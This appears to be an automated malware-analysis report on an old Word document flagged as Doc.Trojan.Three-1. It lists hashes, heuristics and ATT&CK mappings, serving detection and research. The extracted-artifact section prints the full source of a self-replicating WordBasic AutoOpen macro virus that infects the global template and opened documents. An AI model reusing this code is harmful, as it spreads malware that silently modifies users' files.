Office (OLE) malware analysis — malicious · b2ffc0b26bd32544

MALICIOUS

Office (OLE)

27.5 KB Created: 2001-03-19 13:15:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-16

MD5: 2776d553d3f2ace5f843a8c8475e1170 SHA-1: 9fc4546c62d38f03e4c8bf719b0ed72af5bb6048 SHA-256: b2ffc0b26bd32544a1da052444c079a20b4ef6b9d258129d043f4f5c11300a47

168 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Three-1. It contains a legacy WordBasic AutoOpen macro, indicated by the OLE_LEGACY_WORDBASIC_AUTOEXEC heuristic. This macro is designed to execute automatically when the document is opened, suggesting an intent to deliver a secondary payload or perform other malicious actions. The presence of the AutoOpen macro and the ClamAV detection strongly indicate a malicious document, likely delivered via spearphishing.

Heuristics 4

ClamAV: Doc.Trojan.Three-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Three-1
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Attribute VB_Name = "AutoOpen"
```

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1116 bytes
SHA-256: `164969525d96ae0628d5ff916f9977fd414ee524a115323940797c4bf88f1fc1`
Detection ClamAV: Doc.Trojan.Three-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1HNormal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "AutoOpen" Public Sub MAIN() Dim total Dim present Dim cycle Dim a$ WordBasic.ToolsOptionsSave GlobalDotPrompt:=0 total = WordBasic.CountMacros(0) present = 0 If total > 0 Then For cycle = 1 To total If WordBasic.[MacroName$](cycle, 0) = "AutoOpen" Then present = 1 End If 'End If a$ = WordBasic.[WindowName$]() + ":AutoOpen" If present <> 1 Then WordBasic.MacroCopy a$, "Global:AutoOpen", 1 Else present = 0 If WordBasic.CountMacros(1) <> 0 Then present = 1 End If If present = 0 Then WordBasic.FileSaveAs Format:=1 WordBasic.MacroCopy "Global:AutoOpen", a$ End If End If If WordBasic.Day(WordBasic.Now()) = 2 And WordBasic.Month(WordBasic.Now() = 11) Then WordBasic.MsgBox "Dedicated to 3 Crowns '98" End If Rem First Macro Vir from DarkDeath WordBasic.FileSave Next End If End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.